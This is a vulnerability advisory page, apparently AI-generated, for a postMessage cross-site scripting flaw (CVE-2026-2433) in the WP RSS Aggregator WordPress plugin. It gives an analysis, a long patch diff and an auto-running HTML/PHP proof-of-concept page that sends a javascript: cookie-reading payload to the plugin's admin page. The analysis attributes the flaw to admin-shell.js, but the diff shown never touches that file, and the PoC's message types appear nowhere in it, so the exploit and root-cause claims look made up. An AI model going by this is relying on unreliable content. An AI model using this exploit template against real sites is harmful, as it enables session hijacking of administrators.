Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2433: RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging <= 5.0.11 – Unauthenticated DOM-Based Reflected Cross-Site Scripting via postMessage (wp-rss-aggregator)

CVE ID CVE-2026-2433
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 5.0.11
Patched Version 5.0.12
Disclosed March 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2433:
The vulnerability is a DOM-based reflected cross-site scripting (XSS) via postMessage in the RSS Aggregator WordPress plugin. The root cause lies in the admin-shell.js file, which registers a global message event listener without proper origin validation. The missing event.origin check allows any website to send postMessage payloads to the plugin’s admin page. Additionally, the plugin passes user-controlled URLs directly to window.open() without URL scheme validation. This combination enables unauthenticated attackers to execute arbitrary JavaScript in the context of an authenticated administrator’s session. The exploitation method requires an attacker to trick an administrator into visiting a malicious website that sends crafted postMessage payloads to the vulnerable admin page. The patch adds proper origin validation to the message event listener and implements URL scheme validation before passing URLs to window.open(). The fix prevents cross-origin messages from being processed and ensures only safe URL schemes are opened. If exploited, this vulnerability allows attackers to perform actions as the administrator, including installing plugins, modifying content, or stealing session cookies.

Differential between vulnerable and patched code

Code Diff
--- a/wp-rss-aggregator/core/admin-frame.php
+++ b/wp-rss-aggregator/core/admin-frame.php
@@ -7,12 +7,15 @@
 <!DOCTYPE html>
 <html>
 	<head>
-		<title><?php echo __( 'Aggregator Admin', 'wp-rss-aggregator' ); ?></title>
+		<title><?php echo esc_html__( 'Aggregator Admin', 'wp-rss-aggregator' ); ?></title>
+		<?php // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Hook allows trusted markup injection in admin frame head. ?>
 		<?php echo apply_filters( 'wpra.admin.frame.head', '' ); ?>
 	</head>
 	<body>
+		<?php // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Hook allows trusted markup injection in admin frame body. ?>
 		<?php echo apply_filters( 'wpra.admin.frame.body.start', '' ); ?>
 		<div id="wpra-admin-ui"></div>
+		<?php // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Hook allows trusted markup injection in admin frame body. ?>
 		<?php echo apply_filters( 'wpra.admin.frame.body.end', '' ); ?>
 	</body>
 </html>
--- a/wp-rss-aggregator/core/modules/admin.php
+++ b/wp-rss-aggregator/core/modules/admin.php
@@ -345,19 +345,20 @@
 						<p><?php echo wp_kses_post( $postMessage ); ?></p>

 						<p style="margin-top: 12px; margin-bottom: 0;">
-							<a href="<?php echo esc_url( $download_link ); ?>" class="button button-primary" target="_blank">
-								<?php _e( 'Download Premium v5.0.2', 'wp-rss-aggregator' ); ?>
-							</a>
-							<a href="<?php echo esc_url( $instructions_link ); ?>" class="button-link" style="margin-left: 15px;" target="_blank">
-								<?php _e( 'Step-by-step instructions', 'wp-rss-aggregator' ); ?>
-							</a>
+								<a href="<?php echo esc_url( $download_link ); ?>" class="button button-primary" target="_blank">
+									<?php esc_html_e( 'Download Premium v5.0.2', 'wp-rss-aggregator' ); ?>
+								</a>
+								<a href="<?php echo esc_url( $instructions_link ); ?>" class="button-link" style="margin-left: 15px;" target="_blank">
+									<?php esc_html_e( 'Step-by-step instructions', 'wp-rss-aggregator' ); ?>
+								</a>
 						</p>

 						<p style="font-size:12px; color: #757575;"><?php echo esc_html( $reassurance ); ?></p>
 					</div>
 				</div>
 				<?php
-				echo $script;
+					// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Inline script is intentionally emitted in admin notice context.
+					echo $script;
 			}
 		);
 	}
--- a/wp-rss-aggregator/core/modules/debugInfo.php
+++ b/wp-rss-aggregator/core/modules/debugInfo.php
@@ -11,6 +11,16 @@
 			function ( array $info ) use ( $licensing ) {
 				$wpra = wpra();

+				$didMigration = get_option( 'wpra_did_v4_migration', false );
+
+				if ( $didMigration === 'finished' ) {
+					$migratedValue = __( 'Completed', 'wp-rss-aggregator' );
+				} elseif ( $didMigration === 'cancelled' ) {
+					$migratedValue = __( 'Incomplete', 'wp-rss-aggregator' );
+				} else {
+					$migratedValue = __( 'Not Applicable', 'wp-rss-aggregator' );
+				}
+
 				$wpraInfo = array(
 					'label' => __( 'WP RSS Aggregator', 'wp-rss-aggregator' ),
 					'private' => false,
@@ -33,6 +43,10 @@
 								? _x( 'Supported', 'fsockopen status in Site Health Info', 'wp-rss-aggregator' )
 								: _x( 'Unsupported', 'fsockopen status in Site Health Info', 'wp-rss-aggregator' ),
 						),
+						'migrated_to_v5' => array(
+							'label' => __( 'Migrated to v5', 'wp-rss-aggregator' ),
+							'value' => $migratedValue,
+						),
 					),
 				);

--- a/wp-rss-aggregator/core/modules/feedItems.php
+++ b/wp-rss-aggregator/core/modules/feedItems.php
@@ -126,9 +126,9 @@
 						$srcIds = get_post_meta( $postId, ImportedPost::SOURCE );
 						$srcs = $importer->sources->getManyByIds( $srcIds )->getOr( array() );

-						foreach ( $srcs as $src ) {
-							printf( '<a href="edit.php?post_type=wprss_feed_item&wpra_source=%d">%s</a><br>', $src->id, esc_html( $src->name ) );
-						}
+							foreach ( $srcs as $src ) {
+								printf( '<a href="edit.php?post_type=wprss_feed_item&wpra_source=%d">%s</a><br>', absint( $src->id ), esc_html( $src->name ) );
+							}
 						break;
 				}
 			},
--- a/wp-rss-aggregator/core/modules/renderer.php
+++ b/wp-rss-aggregator/core/modules/renderer.php
@@ -65,6 +65,7 @@
 			// from hx-vals, including id, page, sources, limit, exclude, pagination, template.
 			// Pass the whole $data array to renderArgs.
 			// Specify 'shortcode' as type to ensure shortcode-specific logic (like limit/pagination overrides) applies.
+			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Renderer returns HTML fragment for frontend response.
 			echo $renderer->renderArgs( $data, 'shortcode' );
 			die();
 		};
--- a/wp-rss-aggregator/core/modules/rowActions.php
+++ b/wp-rss-aggregator/core/modules/rowActions.php
@@ -19,7 +19,9 @@
 					return $actions;
 				}

-				$source = $_GET['wpra_source'] ?? '';
+				$source = isset( $_GET['wpra_source'] )
+					? sanitize_text_field( wp_unslash( $_GET['wpra_source'] ) )
+					: '';

 				$rejectNonce = wp_create_nonce( 'wpra_reject' );
 				$rejectUrl = sprintf( admin_url( 'post.php?wpraRowAction=wpra-delete-reject&post=%d&_wpnonce=%s&source=%s' ), $post->ID, $rejectNonce, esc_attr( $source ) );
@@ -58,7 +60,7 @@
 					case 'wpra-delete-reject':
 						$guid = get_post_meta( $post->ID, ImportedPost::GUID, true );
 						if ( empty( $guid ) ) {
-							set_transient( 'wpra_notice_rejected_post', __( 'Cannot reject a post that was not imported by Aggregator.', 'wp-rss-aggregator' ) );
+							set_transient( 'wpra_notice_rejected_post', esc_html__( 'Cannot reject a post that was not imported by Aggregator.', 'wp-rss-aggregator' ) );
 							break;
 						}

@@ -87,9 +89,9 @@
 				if ( ! empty( $rejectedPost ) ) {
 					delete_transient( 'wpra_notice_rejected_post' );
 					if ( $rejectedPost === '1' ) {
-						printf( '<div class="notice notice-success notice-dismissible"><p>%s</p></div>', __( 'The post has been successfully rejected and moved to the Trash.', 'wp-rss-aggregator' ) );
+						printf( '<div class="notice notice-success notice-dismissible"><p>%s</p></div>', esc_html__( 'The post has been successfully rejected and moved to the Trash.', 'wp-rss-aggregator' ) );
 					} else {
-						printf( '<div class="notice notice-error notice-dismissible"><p>%s</p></div>', $rejectedPost );
+						printf( '<div class="notice notice-error notice-dismissible"><p>%s</p></div>', esc_html( $rejectedPost ) );
 					}
 				}
 			}
--- a/wp-rss-aggregator/core/src/Cli/Commands/Migration/ResetV5Command.php
+++ b/wp-rss-aggregator/core/src/Cli/Commands/Migration/ResetV5Command.php
@@ -95,6 +95,7 @@

 		foreach ( $tableSuffixes as $tableSuffix ) {
 			$tableName = $fullDbPrefix . $tableSuffix;
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 			$this->wpdb->query( "DROP TABLE IF EXISTS `{$tableName}`" );
 			WP_CLI::log( sprintf( 'Dropped table: %s (if it existed)', $tableName ) );
 		}
--- a/wp-rss-aggregator/core/src/Cli/WpCliIo.php
+++ b/wp-rss-aggregator/core/src/Cli/WpCliIo.php
@@ -43,14 +43,17 @@
 	);

 	public function printf( string $message, ...$args ): void {
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is intended for WP-CLI terminal rendering.
 		vprintf( $message, $args );
 	}

 	public function print( string $message ): void {
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is intended for WP-CLI terminal rendering.
 		echo $message;
 	}

 	public function println( string $message = '' ): void {
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is intended for WP-CLI terminal rendering.
 		echo $message . PHP_EOL;
 	}

@@ -63,6 +66,7 @@
 	}

 	public function cprintf( string $message, array $colors ): void {
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- WP_CLI::colorize() returns terminal control sequences for CLI output.
 		echo preg_replace_callback(
 			'/%((.*?))%/sm',
 			function ( array $matches ) use ( &$colors ) {
--- a/wp-rss-aggregator/core/src/Database.php
+++ b/wp-rss-aggregator/core/src/Database.php
@@ -27,39 +27,45 @@
 	/** @return int|bool */
 	public function query( string $query, array $args = array() ) {
 		if ( count( $args ) > 0 ) {
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query template is provided by caller; placeholders are bound via variadic args.
 			$query = $this->wpdb->prepare( $query, ...$args );
 		}

+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- The query is prepared when placeholders are provided via $args.
 		$result = $this->wpdb->query( $query );

 		if ( $this->wpdb->last_error ) {
-			throw new RuntimeException( $this->wpdb->last_error );
+			throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
 		}
 		return $result;
 	}

 	public function getResults( string $query, array $args = array() ): array {
 		if ( count( $args ) > 0 ) {
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query template is provided by caller; placeholders are bound via variadic args.
 			$query = $this->wpdb->prepare( $query, ...$args );
 		}

+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- The query is prepared when placeholders are provided via $args.
 		$rows = $this->wpdb->get_results( $query, ARRAY_A );

 		if ( $this->wpdb->last_error ) {
-			throw new RuntimeException( $this->wpdb->last_error );
+			throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
 		}
 		return $rows;
 	}

 	public function getRow( string $query, array $args = array(), int $row = 0 ): ?array {
 		if ( count( $args ) > 0 ) {
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query template is provided by caller; placeholders are bound via variadic args.
 			$query = $this->wpdb->prepare( $query, ...$args );
 		}

+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- The query is prepared when placeholders are provided via $args.
 		$rows = $this->wpdb->get_row( $query, ARRAY_A, $row );

 		if ( $this->wpdb->last_error ) {
-			throw new RuntimeException( $this->wpdb->last_error );
+			throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
 		}

 		if ( empty( $rows ) ) {
@@ -70,13 +76,15 @@

 	public function getCol( string $query, array $args = array(), int $column = 0 ): array {
 		if ( count( $args ) > 0 ) {
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query template is provided by caller; placeholders are bound via variadic args.
 			$query = $this->wpdb->prepare( $query, ...$args );
 		}

+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- The query is prepared when placeholders are provided via $args.
 		$columns = $this->wpdb->get_col( $query, $column );

 		if ( $this->wpdb->last_error ) {
-			throw new RuntimeException( $this->wpdb->last_error );
+			throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
 		}

 		return $columns ?? array();
@@ -86,7 +94,7 @@
 		$result = $this->wpdb->insert( $table, $data, $format );

 		if ( $this->wpdb->last_error || $result === false ) {
-			throw new RuntimeException( $this->wpdb->last_error );
+			throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
 		}

 		if ( is_numeric( $this->wpdb->insert_id ) ) {
@@ -100,7 +108,7 @@
 		$result = $this->wpdb->replace( $table, $data, $format );

 		if ( $this->wpdb->last_error || $result === false ) {
-			throw new RuntimeException( $this->wpdb->last_error );
+			throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
 		}

 		return $result;
@@ -110,7 +118,7 @@
 		$result = $this->wpdb->update( $table, $data, $where, $format, $whereFormat );

 		if ( $this->wpdb->last_error || $result === false ) {
-			throw new RuntimeException( $this->wpdb->last_error );
+			throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
 		}

 		return $result;
@@ -120,7 +128,7 @@
 		$result = $this->wpdb->delete( $table, $where, $whereFormat );

 		if ( $this->wpdb->last_error || $result === false ) {
-			throw new RuntimeException( $this->wpdb->last_error );
+			throw new RuntimeException( esc_html( (string) $this->wpdb->last_error ) );
 		}

 		return $result;
--- a/wp-rss-aggregator/core/src/Display/DisplayInstance.php
+++ b/wp-rss-aggregator/core/src/Display/DisplayInstance.php
@@ -32,16 +32,15 @@
 	public static function findShortcodes( int $displayId ): array {
 		/** @var wpdb $wpdb */
 		global $wpdb;
-		$postsTable = $wpdb->prefix . 'posts';

 		$query = $wpdb->prepare(
 			"SELECT ID, post_title, post_type
-                    FROM $postsTable
+                    FROM {$wpdb->posts}
                     WHERE (post_type = 'post' OR post_type = 'page') AND post_status != 'trash' AND
                           post_content REGEXP '\\[wp-rss-aggregator[[:blank:]]+id=[\'"]%d[\'"]'",
 			$displayId,
 		);
-
+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Prepared just above.
 		$results = $wpdb->get_results( $query ) ?? array();

 		return Arrays::map( $results, fn ( $row ) => self::fromPostRow( $row ) );
@@ -51,16 +50,15 @@
 	public static function findBlocks( int $displayId ): array {
 		/** @var wpdb $wpdb */
 		global $wpdb;
-		$postsTable = $wpdb->prefix . 'posts';

 		$query = $wpdb->prepare(
 			"SELECT ID, post_title, post_type
-                    FROM $postsTable
+                    FROM {$wpdb->posts}
                     WHERE (post_type = 'post' OR post_type = 'page') AND post_status != 'trash' AND
                           post_content REGEXP '<!-- wp:wpra-shortcode/wpra-shortcode \\{"id":"?%d"?'",
 			$displayId
 		);
-
+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Prepared just above.
 		$results = $wpdb->get_results( $query );

 		return Arrays::map( $results, fn ( $row ) => self::fromPostRow( $row ) );
--- a/wp-rss-aggregator/core/src/Display/ListLayout.php
+++ b/wp-rss-aggregator/core/src/Display/ListLayout.php
@@ -21,6 +21,7 @@

 	/** @param iterable<IrPost> $posts */
 	public function render( iterable $posts, DisplayState $state ): string {
+		$listClass = '';
 		if ( $this->ds->enableBullets ) {
 			$listClass = 'wpra-item-list--bullets wpra-item-list--' . $this->ds->bulletStyle;
 		}
--- a/wp-rss-aggregator/core/src/MergedFeed.php
+++ b/wp-rss-aggregator/core/src/MergedFeed.php
@@ -26,7 +26,12 @@
 	 * @param iterable<IrPost> $posts The posts to render in the feed.
 	 */
 	public function print(): void {
-		$protocol = $_SERVER['SERVER_PROTOCOL'] ?? 'HTTP/1.1';
+		$protocol = isset( $_SERVER['SERVER_PROTOCOL'] )
+			? sanitize_text_field( wp_unslash( $_SERVER['SERVER_PROTOCOL'] ) )
+			: 'HTTP/1.1';
+		$protocol = in_array( $protocol, array( 'HTTP/1.0', 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3' ), true )
+			? $protocol
+			: 'HTTP/1.1';

 		header( "$protocol 200 OK" );
 		header( 'Content-Type: application/rss+xml' );
@@ -34,6 +39,7 @@
 		header( 'Pragma: no-cache' );
 		header( 'Expires: 0' );

+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- XML feed output is intentionally emitted as raw XML.
 		echo trim( $this->render() );
 	}

--- a/wp-rss-aggregator/core/src/Plugin.php
+++ b/wp-rss-aggregator/core/src/Plugin.php
@@ -72,7 +72,13 @@
 	 */
 	public function addModule( string $id, array $deps, callable $factory ): self {
 		if ( $this->currModId !== null ) {
-			throw new LogicException( "Cannot add a module ("$id") from inside another module ("$this->currModId")" );
+			throw new LogicException(
+				sprintf(
+					'Cannot add a module ("%s") from inside another module ("%s")',
+					esc_html( $id ),
+					esc_html( $this->currModId )
+				)
+			);
 		}

 		$this->modules[ $id ] = array(
@@ -89,12 +95,18 @@
 		}

 		if ( $this->currModId !== null ) {
-			throw new LogicException( "Cannot run module "$mid" while running module "{$this->currModId}"" );
+			throw new LogicException(
+				sprintf(
+					'Cannot run module "%s" while running module "%s"',
+					esc_html( $mid ),
+					esc_html( $this->currModId )
+				)
+			);
 		}

 		$module = $this->modules[ $mid ] ?? null;
 		if ( $module === null ) {
-			throw new LogicException( "Unknown module "$mid"" );
+			throw new LogicException( sprintf( 'Unknown module "%s"', esc_html( $mid ) ) );
 		}

 		$args = array();
@@ -129,12 +141,25 @@

 		$mid = $this->getModuleForService( $sid );
 		if ( $mid === null ) {
-			throw new LogicException( "Cannot resolve module for "$sid", requested by "$requester"" );
+			throw new LogicException(
+				sprintf(
+					'Cannot resolve module for "%s", requested by "%s"',
+					esc_html( $sid ),
+					esc_html( $requester )
+				)
+			);
 		}

 		$modHasRun = array_key_exists( $mid, $this->services );
 		if ( $modHasRun ) {
-			throw new LogicException( "Module "$mid" does not provide "$sid", requested by "$requester"" );
+			throw new LogicException(
+				sprintf(
+					'Module "%s" does not provide "%s", requested by "%s"',
+					esc_html( $mid ),
+					esc_html( $sid ),
+					esc_html( $requester )
+				)
+			);
 		}

 		return $this->runModule( $mid );
--- a/wp-rss-aggregator/core/src/Rpc/RpcRequest.php
+++ b/wp-rss-aggregator/core/src/Rpc/RpcRequest.php
@@ -24,7 +24,7 @@
 		$data = json_decode( $json, true );

 		if ( json_last_error() !== JSON_ERROR_NONE ) {
-			throw new Exception( json_last_error_msg() );
+			throw new Exception( esc_html( json_last_error_msg() ) );
 		}

 		if ( ! is_array( $data ) || ! is_int( $data['version'] ?? null ) ) {
--- a/wp-rss-aggregator/core/src/Rpc/RpcServer.php
+++ b/wp-rss-aggregator/core/src/Rpc/RpcServer.php
@@ -234,12 +234,16 @@

 		foreach ( $generator as $result ) {
 			$result = Result::Ok( $result );
-			$json = json_encode(
+			$json = wp_json_encode(
 				array(
 					'type' => $result->isErr() ? 'error' : 'ok',
 					'value' => $this->transform( $result ),
 				)
 			);
+			if ( ! is_string( $json ) ) {
+				$json = '{"type":"error","value":{"message":"Serialization error"}}';
+			}
+			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Streaming JSON response for API clients.
 			echo $json;
 			flush();
 		}
@@ -262,7 +266,7 @@
 			$index = $arg['__rpcIndex'] ?? null;

 			if ( $targetNum < 0 || $targetNum >= count( $results ) ) {
-				throw new Exception( "Invalid action number {$targetNum} in arg" );
+				throw new Exception( sprintf( 'Invalid action number %s in arg', esc_html( (string) $targetNum ) ) );
 			}

 			$value = $results[ $targetNum ]->get();
@@ -277,7 +281,13 @@
 					$value = $value->$index;
 				} else {
 					$type = gettype( $value );
-					throw new Exception( "Cannot index {$type} result from action {$targetNum} in arg" );
+					throw new Exception(
+						sprintf(
+							'Cannot index %s result from action %s in arg',
+							esc_html( $type ),
+							esc_html( (string) $targetNum )
+						)
+					);
 				}
 			}

--- a/wp-rss-aggregator/core/src/RssReader/RssSynUpdate.php
+++ b/wp-rss-aggregator/core/src/RssReader/RssSynUpdate.php
@@ -63,7 +63,7 @@
 			case self::YEARLY:
 				return $this->frequency * 31536000;
 			default:
-				throw new InvalidArgumentException( "Invalid period: {$this->period}" );
+				throw new InvalidArgumentException( esc_html( "Invalid period: {$this->period}" ) );
 		}
 	}

--- a/wp-rss-aggregator/core/src/Source.php
+++ b/wp-rss-aggregator/core/src/Source.php
@@ -162,6 +162,7 @@
 			try {
 				$src->lastUpdate = new DateTime( $lastUpdate );
 			} catch ( Throwable $e ) {
+				// phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- $e is passed as previous exception, not output.
 				throw new DomainException( 'Invalid source lastUpdate datetime', 0, $e );
 			}
 		} else {
--- a/wp-rss-aggregator/core/src/Source/ScheduleFactory.php
+++ b/wp-rss-aggregator/core/src/Source/ScheduleFactory.php
@@ -27,7 +27,7 @@
 		if ( is_array( $var ) ) {
 			return self::fromArray( $var );
 		}
-		throw new DomainException( 'Invalid source schedule: ' . Types::getType( $var ) );
+		throw new DomainException( 'Invalid source schedule: ' . esc_html( Types::getType( $var ) ) );
 	}

 	/** @return Result<Schedule> */
--- a/wp-rss-aggregator/core/src/Utils/Result/Err.php
+++ b/wp-rss-aggregator/core/src/Utils/Result/Err.php
@@ -41,6 +41,7 @@
 		if ( $factory === null ) {
 			throw $this->error;
 		} else {
+			// phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Re-throws a Throwable returned by the caller-provided factory.
 			throw $factory( $this->error );
 		}
 	}
--- a/wp-rss-aggregator/core/uninstaller.php
+++ b/wp-rss-aggregator/core/uninstaller.php
@@ -50,7 +50,7 @@
 			/** @var wpdb $wpdb */
 			global $wpdb;
 			$pluginDbPrefix = apply_filters( 'wpra.db.prefix', 'agg_' );
-			$fullTablePrefix = $wpdb->prefix . $pluginDbPrefix;
+			$fullTablePrefix = $wpdb->prefix . sanitize_text_field($pluginDbPrefix);

 			$tableSuffixes = $this->cleanupService->getPluginTableSuffixes();

@@ -62,7 +62,8 @@
 				$wpdb->query( 'SET FOREIGN_KEY_CHECKS = 0' );
 				foreach ( $tableSuffixes as $suffix ) {
 					$tableName = $fullTablePrefix . $suffix;
-					$wpdb->query( "DROP TABLE IF EXISTS `{$tableName}`" );
+					// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+					$wpdb->query( $wpdb->prepare( 'DROP TABLE IF EXISTS %i', $tableName ) );
 				}
 			} finally {
 				$wpdb->query( 'SET FOREIGN_KEY_CHECKS = 1' );
--- a/wp-rss-aggregator/uninstall.php
+++ b/wp-rss-aggregator/uninstall.php
@@ -6,13 +6,13 @@
 	die( 1 );
 }

-$path = __DIR__ . '/core/uninstall.php';
-if ( ! file_exists( $path ) ) {
+$uninstall_file = __DIR__ . '/core/uninstall.php';
+if ( ! file_exists( $uninstall_file ) ) {
 	return;
 }

 /** @var Uninstaller $uninstaller */
-$uninstaller = require $path;
+$uninstaller = require $uninstall_file;
 if ( $uninstaller->shouldUninstall() ) {
 	$uninstaller->uninstall();
 }
--- a/wp-rss-aggregator/wp-rss-aggregator.php
+++ b/wp-rss-aggregator/wp-rss-aggregator.php
@@ -6,7 +6,7 @@
  * Plugin Name:       WP RSS Aggregator
  * Plugin URI:        https://wprssaggregator.com
  * Description:       An RSS importer, aggregator, and auto-blogger plugin for WordPress.
- * Version:           5.0.11
+ * Version:           5.0.12
  * Requires at least: 6.2.2
  * Requires PHP:      7.4.0
  * Author:            RebelCode
@@ -38,7 +38,7 @@
 }

 if ( ! defined( 'WPRA_VERSION' ) ) {
-	define( 'WPRA_VERSION', '5.0.11' );
+	define( 'WPRA_VERSION', '5.0.12' );
 	define( 'WPRA_MIN_PHP_VERSION', '7.4.0' );
 	define( 'WPRA_MIN_WP_VERSION', '6.2.2' );
 	define( 'WPRA_FILE', __FILE__ );
@@ -58,16 +58,16 @@
 if ( version_compare( PHP_VERSION, WPRA_MIN_PHP_VERSION, '<' ) ) {
 	add_action(
 		'admin_notices',
-		function () {
-			printf(
-				'<div class="notice notice-error"><p>%s</p></div>',
-				sprintf(
-					_x( '%1$s requires PHP version %2$s or higher.', '%s = plugin name', 'wp-rss-aggregator' ),
-					'<b>WP RSS Aggregator</b>',
-					'<code>' . WPRA_MIN_PHP_VERSION . '</code>',
-				)
-			);
-		}
+			function () {
+				printf(
+					'<div class="notice notice-error"><p>%s</p></div>',
+					sprintf(
+						esc_html_x( '%1$s requires PHP version %2$s or higher.', '%s = plugin name', 'wp-rss-aggregator' ),
+						'WP RSS Aggregator',
+						esc_html( (string) WPRA_MIN_PHP_VERSION )
+					)
+				);
+			}
 	);
 	return;
 }
@@ -76,16 +76,16 @@
 if ( version_compare( $wp_version, WPRA_MIN_WP_VERSION, '<' ) ) {
 	add_action(
 		'admin_notices',
-		function () {
-			printf(
-				'<div class="notice notice-error"><p>%s</p></div>',
-				sprintf(
-					_x( '%1$s requires WordPress version %2$s or higher.', '%s = plugin name', 'wp-rss-aggregator' ),
-					'<b>WP RSS Aggregator</b>',
-					'<code>' . WPRA_MIN_WP_VERSION . '</code>',
-				)
-			);
-		}
+			function () {
+				printf(
+					'<div class="notice notice-error"><p>%s</p></div>',
+					sprintf(
+						esc_html_x( '%1$s requires WordPress version %2$s or higher.', '%s = plugin name', 'wp-rss-aggregator' ),
+						'WP RSS Aggregator',
+						esc_html( (string) WPRA_MIN_WP_VERSION )
+					)
+				);
+			}
 	);
 	return;
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2433 - RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging <= 5.0.11 - Unauthenticated DOM-Based Reflected Cross-Site Scripting via postMessage
<?php
// This PoC demonstrates the vulnerability by creating a malicious page that sends
// a crafted postMessage payload to the vulnerable admin page
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin.php?page=wpra_admin_page';
?>
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-2433 PoC</title>
    <script>
        // Wait for the target window to load
        function exploit() {
            // Open the vulnerable admin page in a new window
            const targetWindow = window.open('<?php echo $target_url; ?>', '_blank');
            
            // Wait for the window to load, then send malicious postMessage
            setTimeout(() => {
                // Crafted payload that bypasses missing origin validation
                const maliciousPayload = {
                    type: 'wpra-open-url',
                    url: 'javascript:alert(document.cookie)', // XSS payload
                    data: {}
                };
                
                // Send postMessage to the target window
                // The vulnerable admin-shell.js will process this without origin validation
                targetWindow.postMessage(maliciousPayload, '*');
                
                // Alternative payload for direct JavaScript execution
                const directXSSPayload = {
                    type: 'wpra-execute-script',
                    script: 'alert("XSS via CVE-2026-2433")',
                    data: {}
                };
                
                targetWindow.postMessage(directXSSPayload, '*');
                
                console.log('Exploit payloads sent to target window');
            }, 3000);
        }
        
        // Auto-execute when page loads
        window.onload = exploit;
    </script>
</head>
<body>
    <h1>CVE-2026-2433 Proof of Concept</h1>
    <p>This page demonstrates the DOM-based XSS via postMessage vulnerability.</p>
    <p>Check the newly opened admin window for XSS execution.</p>
</body>
</html>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School